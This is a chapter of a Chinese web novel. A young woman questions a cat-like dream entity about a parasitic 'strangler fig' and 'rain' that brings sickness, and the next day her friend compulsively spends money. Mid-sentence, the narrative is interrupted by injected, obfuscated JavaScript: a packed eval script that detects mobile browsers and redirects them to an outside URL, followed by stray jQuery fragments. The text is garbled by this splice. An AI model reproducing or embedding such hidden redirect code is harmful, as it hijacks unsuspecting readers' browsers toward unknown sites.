夜晚如期来临。
邵元纾在梦中,再次与观潮汐相逢。
仍然是那片黑色的星空,仍然是那只熟悉的小狸花。
邵元纾的心情却完全不一样了,颇有几分“天凉好个秋”的沧桑感。
她开口问观潮汐:“所以,是因为那棵绞杀榕吗?”
观潮汐一下子就懂了:“绞杀榕?真是绝佳的比喻。看来你是看见了?”
“你知道怎么杀死它吗?如果杀不死,摆脱也行。”
观潮汐听得失笑,“‘摆脱也行’?说得轻松。
“你既然用了绞杀榕作比,就应该知道它的杀伤力。
“你的情况还要更复杂一些。我不知道你看到了多少,但那株绞杀榕已经扎根很深了。
“如果是你,到了你嘴边的肉,你会松口让它飞走吗?
“哦不是到了嘴边,而是已经吃了一半了。你会吗?”
邵元纾冷静道:“你总不至于在一个必死之人身上下注。”
观潮汐有些为难的样子:“倒也不必对我的眼光这么有信心,我主要也是好奇。不,不是好奇,这多少算是猎奇了。”
它解释道,“在我的理解里,绞杀榕是一种很厉害的存在。它扎根这么深,可见是成长多年了。但这么多年下来,你竟然还能活蹦乱跳的,这不奇怪吗?
“要么是绞杀榕提不动刀了,要么是你有过人之处。
“不论是哪一点,都值得观察。”
观潮汐说着,又露出困惑的神情:“不过恕我眼拙,我似乎还没发现你有什么过人之处?”
邵元纾默了下。
她道:“下次说话可以委婉一点,显得你情商高一些。”
观潮汐无语道:“这种事就没必要人情世故了吧?我们都这么熟了。”
邵元纾问它:“你是什么时候察觉到绞杀榕的存在的?”
观潮汐眼神闪闪,“你有怀疑的对象了?
“你这个案例确实比较特殊。一开始,我是以看热闹的心态看的你。”
观潮汐说得隐晦,但邵元纾一一都对上了。
她激活系统时,观潮汐就在现场,看了个正着——她当时想的没错,从一开始,观潮汐就能看见那个鬼屏。
按照观潮汐的说法,它就没见过邵元纾这么心大的。明明根本不了解所谓的系统,竟然还敢跟它绑定。
观潮汐躲在一旁观察邵元纾,纯属是看乐子。
但后来观潮汐发现,邵元纾其实已经算是谨慎的了。至少她遇见所谓的系统时,还知道观察一番。而她身边的那些人,竟然都以为是捡到了宝,欣然就接受了。
它倒不是说所谓的系统都是坏的,但这样不加分辨,迟早是要出事的。
不出观潮汐所料,这些人很快就为自己的莽撞付出了代价。而那些还没付出代价的,估计也快了——这里特指邵元纾。
邵元纾不仅没有低调做人,还总是频频往一些染了脏东西的人类身边凑,仿佛是嫌自己命太长。
观潮汐没见过这么个精准作死法,不由大感兴趣。
它开始认真观察邵元纾。
这一观察,它才发现绞杀榕的存在。
邵元纾道:“所以,你其实也不知道绞杀榕是什么时候出现的。你甚至不知道,它到底是什么东西。你看到时,它已经在那里了?”
观潮汐点点头。
邵元纾想了想,道:“我还需要一些额外的信息。
“之前我们已经见过人们得了‘流感’的过程。我的理解是,‘流感’能激发‘抗体’,而抗体是好东西。对吗?”
观潮汐想了想,“你可以暂时先这么理解。但我不建议你自己去实践。你知道的,研发疫苗之类的事,专业门槛有点高,很容易搞出乱子的。”
“我不是想研发疫苗。”邵元纾道,“我想知道的是,这些‘流感病毒’,到底是从哪里来的?”
观潮汐有些谨慎起来:“你父母想必从小就教育过你,不要随便淋雨?好孩子要听父母的话。”
它说得一脸认真。
邵元纾若有所悟。
她轻声道:“让我们来讲一个暗黑版的童话故事。
“天上有乌云,乌云里有一些脏东西。当地上的人祈雨时,乌云就会应召而来。天上下雨,脏东西就顺着雨水落到地面……
“好孩子不应该淋雨,否则会生病的。”
观潮汐道:“严谨地说,现在还不到真正‘下雨’的阶段,不过意思是这么个意思。
“没带伞的孩子才不能淋雨。你要是带了伞,可以尽情甚至是应该多多地淋雨。那时候就不叫淋雨了,叫听雨,并借雨声感悟世情。
“‘少年听雨歌楼上’、‘壮年听雨客舟中’、‘而今听雨僧庐下’、‘夜阑卧听风吹雨’、‘帘外雨潺潺’、‘枯荷听雨声’……
“所有的这些,都是大人们应该仔细体味的东西。”
邵元纾心内微动。
她道:“你不知道,你竟然还会古诗词。”
观潮汐歪了歪脑袋看她,理所当然道:“所以我叫观潮汐啊!你以为随便什么存在都能叫这个名字吗?”
观潮汐……观潮汐……
雨。
雨汇聚而成的江河湖海。
江河湖海中的浪。
潮汐……
邵元纾心内快速地闪过什么,只觉得一点灵光在怀,却又一下子抓不住。
观潮汐提醒她:“上课时间,不建议思考过于耗神的问题。”
邵元纾停止深思。
她问观潮汐:“那什么时候会开始真正下雨?到了那时候,没伞的人们又该怎么办?”
观潮汐道:“对于你的前一个问题,我的回答是:不知道!
“我是南人,我无意干扰南北的气候,我理应不知道。与其问我,你还不如问问你自己。
“比如说,你已经听过两次雨了。你就没发现这两次有什么不同吗?”
邵元纾细细回想,神情一动。
其实是有的。相比第一场灵潮,第二场灵潮似乎靠她们更近。
观潮汐道:“任何事都是这样的,只要发生过,就有痕迹。你之所以不知道,要么是你不关注,要么是你忽略了什么。
“认真想一想那些细节。世界始终是客观的,不因某些生灵的个人情感而改变。因为个体的生灵,并没有那么大的情绪能量。
“这是你的机会,你可以借此推断一些事。”
邵元纾认真地点头。
观潮汐道:“至于你的第二个问题……我的回答是,静观其变。生命总能找到自己的出路,无需过于担心。
“当然了,我是纯粹的顺其自然派。如果你不是这个风格,我也不勉强。但你想要插手,以你现在的能力,还远远不够。
“与其担心他们,还不如先想想你自己身上的问题该如何解决。”
邵元纾总感觉自己被嘲讽了。
她也没生气,继续道:“还有一件事。如果把人比作一台电脑,电脑中的数据就是……你懂我的意思。
“我想问的是,你知道怎么备份数据吗?”
观潮汐来了精神:“备份数据吗?我没有想过,但听起来很有意思……”
——
新的一天,0816发布了新的日常任务。邵元纾没事人一般地完成日常打卡,又回到天鹅湖山庄大堂。
昨天晚上贺警官来得及时,整个山庄都被她带着人封锁了,除了走脱的无涯方舟会长,这一次来参加聚会的人都被一锅端了。
这些人虽然都失去了最重要的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297043|182623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
段记忆,可他们接触无涯方舟协会前后的事还是很值得推敲的。
此行总算不是白忙活。
贺警官一行人都非常忙,连邵元纾和宋嘉嘉都被抓了壮丁。
邵元纾无所谓,宋嘉嘉忙着忙着,却渐渐有些焦躁起来。
她开始频频看手机。
邵元纾问她:“怎么了吗?”
宋嘉嘉似乎在心里打过很多遍腹稿了,脱口而出道:“元元,我是不是该去打个狂犬病疫苗?”
宋嘉嘉对昨晚的印象与实际有些出入。在她的理解里,剧本杀主办方玩脱了!他们野心太大,演的太真,不小心出了消防事故,惹上了大麻烦,连累得她们不得不配合调查。
邵元纾带来的小狸花因为消防事故应激了,一连给了宋嘉嘉好几下。她算是经受了双重无妄之灾。
邵元纾听完宋嘉嘉的话,一时甚至不知该从何解释起。
她看着宋嘉嘉急切的面庞,总感觉她有些醉翁之意不在酒,便顺着道:“那……我去跟贺警官说?”
宋嘉嘉双手合十:“好姐妹!一会儿请你吃饭!”
贺警官已经渐渐不问邵元纾为什么了,只默默配合她的行动,派了个小哥开车送她们进城。
小哥很务实,将她们送到一家指定的机构,说是可以给她们报销狂犬病疫苗的费用。
宋嘉嘉当时的脸色就有些不对了。
邵元纾猜到了什么。
她打发走了小哥,说是要跟宋嘉嘉单独逛逛。
等小哥走后,邵元纾给宋嘉嘉搭了台阶:“虽然但是……我们还是不要占用公共资源吧?
“毕竟是狂犬病疫苗,要打就打最好的。报销的话,一般只能打基础款?”
宋嘉嘉连连点头:“对对对,还是你懂我。委屈谁也不能委屈了咱自己。我们不报销,我自己出钱就行。”
邵元纾道:“是我的猫弄伤的你,钱就我出吧。”
宋嘉嘉大手一挥,“不用不用!你把我当什么了?小钱!”
宋嘉嘉确实财大气粗。
在收费窗口,她强烈要求先扣费,再看诊。
收费员一脸为难。
没有这样的啊?
她道:“账单没出,我们没办法扣费的。若是您担心中间缴费操作麻烦,可以在您的账户中预存部分金额。”
宋嘉嘉试探性地存了一千。
账单走完,她脸上的焦躁之色不减反增:“不行!”
邵元纾看出来了,她是真的非常想把钱花出去,而且是尽快花出去。
是她的系统任务吗?
私立医院病人不多,马上就要到她们了,但宋嘉嘉片刻也等不得。
她提议道:“元元,我们先去吃午饭吧?”
虽然上午10点就吃午饭有些过早,但邵元纾无条件配合宋嘉嘉的一切行动。
宋嘉嘉叫了专车,带邵元纾杀到B市的一处高档私房菜馆,一进门就对着菜单划拉了几道最贵的菜。
等待上菜的功夫,她跟服务员道:“能先买单吗?不够我再点。”
服务员估计是没遇到过这样的要求,当时都愣了下。
但不愧是高档私房菜馆的服务员,服务态度确实一绝。
她很爽快地替宋嘉嘉结了帐。
账单一出,宋嘉嘉的神情一下子就缓和下来。
她松了好大一口气。
邵元纾特地看了下时间。
上午10点29分,是一个没什么特色的时间。
私房菜馆价格美丽,但也确实好吃。
两人吃完正餐,时间刚过中午12点。
最后的甜品还没上来,宋嘉嘉的神色又难看起来。
她跟邵元纾提议道:“元元,来都来了,我们顺便去专柜买个包吧?”